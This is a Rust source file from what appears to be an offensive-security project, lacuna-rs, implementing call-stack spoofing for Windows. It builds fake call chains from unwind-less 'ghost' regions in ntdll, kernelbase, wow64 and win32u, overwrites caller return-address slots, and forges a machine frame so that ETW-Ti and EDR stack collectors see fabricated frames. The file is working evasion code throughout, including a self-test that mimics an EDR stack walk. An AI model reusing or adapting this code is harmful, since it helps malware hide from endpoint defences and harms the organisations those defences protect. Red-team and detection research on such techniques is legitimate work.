Files
Karkas66-lacuna-rs/src/chain.rs
T

638 lines
19 KiB
Rust
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
//
// chain.rs — LACUNA chain construction + stack stomp for lacuna-rs
//
// Ported from lacuna_chain.c:
// build_chain(), stomp_plant(), stomp_restore(), lacuna_walk_chain(),
// teb_stack_base(), teb_stack_limit().
//
// The "chain" is a fake but structurally valid call stack built from ghost
// regions (executable code with no .pdata coverage). When ETW-Ti fires an
// APC during NtDelayExecution(alertable), the kernel unwinds through these
// ghost frames instead of the real callers.
//
#![cfg(feature = "stack-spoof")]
#![allow(dead_code)]
use crate::pe;
use crate::scan::{self, Ghost, GhostGadget};
use crate::stub;
use crate::win::{
ULONG64, PVOID,
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
VirtualAlloc,
CONTEXT, CONTEXT_FULL,
PRtlLookupFunctionEntry, PRtlVirtualUnwind,
UNWIND_HISTORY_TABLE, DWORD64,
get_module, get_proc,
};
use core::sync::atomic::{AtomicU64, Ordering};
// ── Machine frame (BYOUD-MF) ─────────────────────────────────────────────────
#[repr(C, packed)]
#[derive(Clone, Copy, Default)]
pub struct MachFrame {
pub Rip: ULONG64,
pub Cs: ULONG64,
pub EFlags: ULONG64,
pub Rsp: ULONG64,
pub Ss: ULONG64,
}
// ── Fake stack layout ────────────────────────────────────────────────────────
//
// L5_thread_root ← walked last
// L4_win32u
// L3_ntdll
// L2_kbase
// L1_wow64 ← g_chain_rsp points here
// MachFrame (40 B) ← consumed by UWOP_PUSH_MACHFRAME handler
// mf_trigger ← KiUserExceptionDispatcher+4
//
#[repr(C)]
pub struct LacunaStack {
pub L5_thread_root: ULONG64,
pub L4_win32u: ULONG64,
pub L3_ntdll: ULONG64,
pub L2_kbase: ULONG64,
pub L1_wow64: ULONG64,
pub mf: MachFrame,
pub mf_trigger: ULONG64,
}
// ── Global state (file-scope statics in C) ───────────────────────────────────
pub static G_LS: AtomicU64 = AtomicU64::new(0); // *mut LacunaStack
pub static G_CHAIN_RSP: AtomicU64 = AtomicU64::new(0);
pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0);
pub static G_MF_WALK: AtomicU64 = AtomicU64::new(0); // *mut [ULONG64; 4]
// ── Ghost-layer accessor (used by veh.rs) ────────────────────────────────────
/// Return the four ghost-layer addresses [L1, L2, L3, L4] for the VEH's
/// full-spoof pass.
pub fn ghost_layers() -> [ULONG64; 4] {
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return [0; 4];
}
unsafe {
[
(*ls).L1_wow64,
(*ls).L2_kbase,
(*ls).L3_ntdll,
(*ls).L4_win32u,
]
}
}
// ── TEB stack-base/limit (BYOUD-RT) ──────────────────────────────────────────
/// Read TEB.StackBase (GS:[0x08]).
///
/// Ported from teb_stack_base().
#[cfg(target_arch = "x86_64")]
pub fn teb_stack_base() -> ULONG64 {
let base: ULONG64;
unsafe {
core::arch::asm!(
"mov {0}, gs:[0x08]",
out(reg) base,
options(nostack, nomem, preserves_flags),
);
}
base
}
/// Read TEB.StackLimit (GS:[0x10]).
///
/// Ported from teb_stack_limit().
#[cfg(target_arch = "x86_64")]
pub fn teb_stack_limit() -> ULONG64 {
let limit: ULONG64;
unsafe {
core::arch::asm!(
"mov {0}, gs:[0x10]",
out(reg) limit,
options(nostack, nomem, preserves_flags),
);
}
limit
}
// ── build_chain ──────────────────────────────────────────────────────────────
/// Build the LACUNA ghost-frame chain.
///
/// Ported from build_chain(). Returns true on success.
pub fn build_chain() -> bool {
let ntdll = get_module(b"ntdll.dll\0");
let kbase = get_module(b"kernelbase.dll\0");
let wow64 = get_module(b"wow64.dll\0");
let win32u = get_module(b"win32u.dll\0");
let nt_t: &[&[u8]] = &[
b"RtlCreateUserThread\0",
b"NtAllocateVirtualMemory\0",
b"LdrLoadDll\0",
b"NtCreateThreadEx\0",
b"RtlUserThreadStart\0",
];
let kb_t: &[&[u8]] = &[
b"VirtualProtect\0",
b"VirtualAllocEx\0",
b"WriteProcessMemory\0",
b"CreateRemoteThreadEx\0",
];
let w64_t: &[&[u8]] = &[
b"Wow64PrepareForException\0",
b"Wow64KiUserCallbackDispatcher\0",
b"Wow64ApcRoutine\0",
];
let mut ng = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mut kg = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mut wg = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 64];
let n_ng = scan::scan_ghosts(ntdll, nt_t, &mut ng);
let n_kg = scan::scan_ghosts(kbase, kb_t, &mut kg);
let n_wg = if !wow64.is_null() {
scan::scan_ghosts(wow64, w64_t, &mut wg)
} else {
0
};
// Ghost gadget (JMP [RBX]) — prefer ntdll, then kernelbase.
let mut g_ghost_gadget: ULONG64 = 0;
let mut g_ghost_mod: u8 = 0;
let mut gg = [GhostGadget { va: 0, parent: [0; 64] }; 8];
let ngg = scan::scan_ghost_gadgets(&ng[..n_ng], b"ntdll\0", &mut gg);
if ngg > 0 {
g_ghost_gadget = gg[0].va;
g_ghost_mod = 1;
} else {
let ngg2 = scan::scan_ghost_gadgets(&kg[..n_kg], b"kernelbase\0", &mut gg);
if ngg2 > 0 {
g_ghost_gadget = gg[0].va;
g_ghost_mod = 2;
}
}
if g_ghost_gadget != 0 {
stub::G_GHOST_GADGET.store(g_ghost_gadget, Ordering::Relaxed);
stub::G_GHOST_MOD.store(g_ghost_mod, Ordering::Relaxed);
}
// L1 — wow64 ghost (fallback: nearest ntdll ghost).
let mut g1 = scan::best_ghost(&wg[..n_wg], b"Wow64PrepareForException");
if g1.is_none() {
g1 = scan::best_ghost(&wg[..n_wg], b"Wow64KiUserCallbackDispatcher");
}
let l1 = if let Some(g) = g1 {
g.va_start + g.size as ULONG64 / 2
} else {
let g3pre = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
let mut bf: Option<&Ghost> = None;
let mut bd = 0xFFFF_FFFFu32;
for k in 0..n_ng {
if let Some(pre) = g3pre {
if core::ptr::eq(&ng[k], pre) {
continue;
}
}
if ng[k].dist < bd {
bd = ng[k].dist;
bf = Some(&ng[k]);
}
}
let bf = bf.or(g3pre);
bf.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(ntdll as ULONG64 + 0x50F80)
};
// L2 — kernelbase ghost.
let g2 = scan::best_ghost(&kg[..n_kg], b"VirtualProtect")
.or_else(|| scan::best_ghost(&kg[..n_kg], b"VirtualAllocEx"));
let l2 = if g_ghost_mod == 2 {
g_ghost_gadget
} else {
g2.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(kbase as ULONG64 + 0x64180)
};
// L3 — ntdll ghost.
let g3 = scan::best_ghost(&ng[..n_ng], b"RtlCreateUserThread")
.or_else(|| scan::best_ghost(&ng[..n_ng], b"NtAllocateVirtualMemory"));
let l3 = if g_ghost_mod == 1 {
g_ghost_gadget
} else {
g3.map(|g| g.va_start + g.size as ULONG64 / 2)
.unwrap_or(ntdll as ULONG64 + 0x50F80)
};
// L4 — win32u nop gap.
let l4 = if !win32u.is_null() {
scan::win32u_nop_gap(win32u)
} else {
ng[0].va_start + 4
};
// L5 — RtlUserThreadStart+0x21.
let l5 = pe::export_va(ntdll, b"RtlUserThreadStart\0") + 0x21;
// L0 — BYOUD-MF anchor.
let l0 = scan::find_mf_target(ntdll);
// Allocate the LacunaStack + MF-walk buffer.
let total = core::mem::size_of::<LacunaStack>() + 0x100;
let m = unsafe {
VirtualAlloc(
core::ptr::null_mut(),
total,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if m.is_null() {
return false;
}
let ls = m as *mut LacunaStack;
let mf_walk = unsafe { (ls as *mut u8).add(core::mem::size_of::<LacunaStack>()) } as *mut ULONG64;
unsafe {
// MF walk buffer: L2→L3→L4→L5 in ascending-address order.
*mf_walk.add(0) = l2;
*mf_walk.add(1) = l3;
*mf_walk.add(2) = l4;
*mf_walk.add(3) = l5;
(*ls).L5_thread_root = l5;
(*ls).L4_win32u = l4;
(*ls).L3_ntdll = l3;
(*ls).L2_kbase = l2;
(*ls).L1_wow64 = l1;
(*ls).mf.Rip = l1;
(*ls).mf.Cs = 0x0033;
(*ls).mf.EFlags = 0x0000_0202;
(*ls).mf.Rsp = mf_walk as ULONG64;
(*ls).mf.Ss = 0x002B;
(*ls).mf_trigger = l0;
}
G_LS.store(ls as ULONG64, Ordering::Relaxed);
G_CHAIN_RSP.store(unsafe { &(*ls).mf as *const _ as ULONG64 }, Ordering::Relaxed);
G_MF_WALK.store(mf_walk as ULONG64, Ordering::Relaxed);
true
}
// ── stomp_plant / stomp_restore ──────────────────────────────────────────────
pub const STOMP_DEPTH: usize = 4;
/// Write L1L4 into the return-address slot of the caller and the three
/// dead shadow words above it.
///
/// Ported from stomp_plant(). This must be `#[inline(never)]` so the
/// # Warning: Frame-Pointer Requirement
///
/// This function uses `mov rbp, {x}` inline asm to locate the caller's
/// frame. It **requires** the consuming crate to be compiled with
/// `-C force-frame-pointers=yes`. Without it, RBP will not point to a
/// valid frame and this function will silently no-op or corrupt the stack.
///
/// Add to your `.cargo/config.toml`:
/// ``toml
/// [build]
/// rustflags = [`-C`, `force-frame-pointers=yes`]
/// ``
/// frame-pointer walk lands on the intended caller.
#[inline(never)]
pub fn stomp_plant() {
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return;
}
let layers: [ULONG64; STOMP_DEPTH] = unsafe {
[
(*ls).L1_wow64,
(*ls).L2_kbase,
(*ls).L3_ntdll,
(*ls).L4_win32u,
]
};
let stack_base = teb_stack_base();
let stack_limit = teb_stack_limit();
// `__builtin_frame_address(1)` — get the caller's frame.
let frame: *mut ULONG64 = unsafe {
let mut fp: *mut ULONG64;
core::arch::asm!(
"mov {0}, [rbp]",
out(reg) fp,
options(nostack, preserves_flags),
);
fp
};
if frame.is_null()
|| (frame as ULONG64) < stack_limit
|| (frame as ULONG64) >= stack_base
{
return;
}
unsafe {
for d in 0..STOMP_DEPTH {
let slot = frame.add(1 + d);
crate::veh::G_STOMP_PTRS[d].store(slot as ULONG64, Ordering::Relaxed);
crate::veh::G_STOMP_SLOTS[d].store(*slot, Ordering::Relaxed);
*slot = layers[d];
}
crate::veh::G_STOMP_SAVED.store(*frame.add(1), Ordering::Relaxed);
}
}
/// Restore the stomped stack slots.
///
/// Ported from stomp_restore().
pub fn stomp_restore() {
for d in 0..STOMP_DEPTH {
let ptr = crate::veh::G_STOMP_PTRS[d].load(Ordering::Relaxed);
if ptr != 0 {
let val = crate::veh::G_STOMP_SLOTS[d].load(Ordering::Relaxed);
unsafe {
*(ptr as *mut ULONG64) = val;
}
}
}
}
// ── lacuna_walk_chain (verify) ───────────────────────────────────────────────
/// Walk the chain the same way an EDR stack collector would, using
/// RtlLookupFunctionEntry + RtlVirtualUnwind.
///
/// Ported from lacuna_walk_chain(). Prints the full stack-frame trace
/// (each frame's RIP, whether it has a RUNTIME_FUNCTION, and its layer
/// label), then runs a second BYOUD-MF pass from mf_trigger.
///
/// Returns true if all 5 layers were seen in the primary walk.
#[allow(unused_unsafe)]
pub fn walk_chain() -> bool {
let ntdll = get_module(b"ntdll.dll\0");
let lookup_fe_ptr = get_proc(ntdll, b"RtlLookupFunctionEntry\0");
let vu_ptr = get_proc(ntdll, b"RtlVirtualUnwind\0");
if lookup_fe_ptr.is_none() || vu_ptr.is_none() {
eprintln!("{}", lc!("[-] can't resolve unwind apis"));
return false;
}
let lookup_fe: PRtlLookupFunctionEntry =
unsafe { core::mem::transmute(lookup_fe_ptr.unwrap()) };
let vu: PRtlVirtualUnwind =
unsafe { core::mem::transmute(vu_ptr.unwrap()) };
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return false;
}
let l1 = unsafe { (*ls).L1_wow64 };
let l2 = unsafe { (*ls).L2_kbase };
let l3 = unsafe { (*ls).L3_ntdll };
let l4 = unsafe { (*ls).L4_win32u };
let l5 = unsafe { (*ls).L5_thread_root };
// ── Primary walk: L1 → L2 → L3 → L4 → L5 ──────────────────────────
//
// Chain buffer: L2→L3→L4→L5 in ascending-address order so the
// leaf RSP+=8 walk reads the correct next return address.
let chain: [ULONG64; 4] = [l2, l3, l4, l5];
let mut ctx: CONTEXT = unsafe { core::mem::zeroed() };
ctx.ContextFlags = CONTEXT_FULL;
unsafe {
ctx.Rip = l1;
ctx.Rsp = &chain as *const _ as ULONG64;
}
let lnames: [&str; 5] = [
"L1 wow64 ghost (Wow64PrepareForException)",
"L2 kbase ghost (VirtualProtect)",
"L3 ntdll ghost (RtlCreateUserThread)",
"L4 win32u nop gap",
"L5 RtlUserThreadStart+0x21",
];
println!("[*] walking chain (same path as EDR stack collector)\n");
let mut seen = [false; 5];
let mut hits = 0;
for i in 0..20 {
if ctx.Rip == 0 {
break;
}
let mut imgbase: DWORD64 = 0;
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
let rf = unsafe { lookup_fe(ctx.Rip, &mut imgbase, &mut hist) };
let (lbl, li): (&str, Option<usize>) = if ctx.Rip == l1 {
(lnames[0], Some(0))
} else if ctx.Rip == l2 {
(lnames[1], Some(1))
} else if ctx.Rip == l3 {
(lnames[2], Some(2))
} else if ctx.Rip == l4 {
(lnames[3], Some(3))
} else if ctx.Rip == l5 {
(lnames[4], Some(4))
} else {
("", None)
};
if let Some(idx) = li {
if !seen[idx] {
seen[idx] = true;
hits += 1;
}
}
println!(
" [{:2}] {:016x} {:<8} {}",
i,
ctx.Rip,
if rf.is_null() { "ghost" } else { "rf" },
lbl
);
if hits == 5 {
println!(" (thread root — stopping)");
break;
}
if rf.is_null() {
// Leaf frame: no RUNTIME_FUNCTION — unwinder does RSP += 8.
unsafe {
ctx.Rip = *(ctx.Rsp as *const ULONG64);
ctx.Rsp += 8;
}
} else {
// Has RUNTIME_FUNCTION — use RtlVirtualUnwind.
let mut hd: PVOID = core::ptr::null_mut();
let mut ef: DWORD64 = 0;
unsafe {
vu(
0,
imgbase,
ctx.Rip,
rf,
&mut ctx,
&mut hd,
&mut ef,
core::ptr::null_mut(),
);
}
}
}
println!();
for i in 0..5 {
println!(" {} {}", if seen[i] { "[+]" } else { "[ ]" }, lnames[i]);
}
let ok = seen.iter().all(|&s| s);
println!(
"\n{} all layers {}",
if ok { "[+]" } else { "[!]" },
if ok {
"ghost — chain is clean"
} else {
"PARTIAL — check addresses above"
}
);
// ── BYOUD-MF pass: walk from mf_trigger through the machine frame ─
//
// The unwinder hits KiUserExceptionDispatcher's UWOP_PUSH_MACHFRAME,
// reads Rip=L1 and Rsp=&g_mf_walk[0], then continues L1→L2→L3→L4→L5.
let mf_trigger = unsafe { (*ls).mf_trigger };
println!(
"\n[*] BYOUD-MF pass: starting from mf_trigger (L0={:016x})\n",
mf_trigger
);
let mut mf_ctx: CONTEXT = unsafe { core::mem::zeroed() };
mf_ctx.ContextFlags = CONTEXT_FULL;
unsafe {
mf_ctx.Rip = mf_trigger;
mf_ctx.Rsp = &(*ls).mf as *const _ as ULONG64;
}
let mf_names: [&str; 6] = [
"L0 MF anchor (KiUserExceptionDispatcher)",
"L1 wow64 ghost",
"L2 kbase ghost",
"L3 ntdll ghost",
"L4 win32u nop gap",
"L5 RtlUserThreadStart+0x21",
];
let mut mf_seen = [false; 6];
let mut mf_hits = 0;
for i in 0..20 {
if mf_ctx.Rip == 0 {
break;
}
let mut imgbase: DWORD64 = 0;
let mut hist: UNWIND_HISTORY_TABLE = unsafe { core::mem::zeroed() };
let rf = unsafe { lookup_fe(mf_ctx.Rip, &mut imgbase, &mut hist) };
let li: Option<usize> = if mf_ctx.Rip == mf_trigger {
Some(0)
} else if mf_ctx.Rip == l1 {
Some(1)
} else if mf_ctx.Rip == l2 {
Some(2)
} else if mf_ctx.Rip == l3 {
Some(3)
} else if mf_ctx.Rip == l4 {
Some(4)
} else if mf_ctx.Rip == l5 {
Some(5)
} else {
None
};
if let Some(idx) = li {
if !mf_seen[idx] {
mf_seen[idx] = true;
mf_hits += 1;
}
}
let lbl = if let Some(idx) = li { mf_names[idx] } else { "" };
println!(
" [{:2}] {:016x} {:<8} {}",
i,
mf_ctx.Rip,
if rf.is_null() { "ghost" } else { "rf/MF" },
lbl
);
if mf_hits == 6 {
println!(" (thread root — stopping)");
break;
}
if rf.is_null() {
unsafe {
mf_ctx.Rip = *(mf_ctx.Rsp as *const ULONG64);
mf_ctx.Rsp += 8;
}
} else {
let mut hd: PVOID = core::ptr::null_mut();
let mut ef: DWORD64 = 0;
unsafe {
vu(
0,
imgbase,
mf_ctx.Rip,
rf,
&mut mf_ctx,
&mut hd,
&mut ef,
core::ptr::null_mut(),
);
}
}
}
println!();
for i in 0..6 {
println!(" {} {}", if mf_seen[i] { "[+]" } else { "[ ]" }, mf_names[i]);
}
let mf_ok = mf_seen[0] && mf_seen[1] && mf_seen[2];
println!(
"\n{} BYOUD-MF teleport {}",
if mf_ok { "[+]" } else { "[!]" },
if mf_ok {
"worked — RSP jumped through machine frame"
} else {
"partial — MF may need version-specific offsets"
}
);
ok
}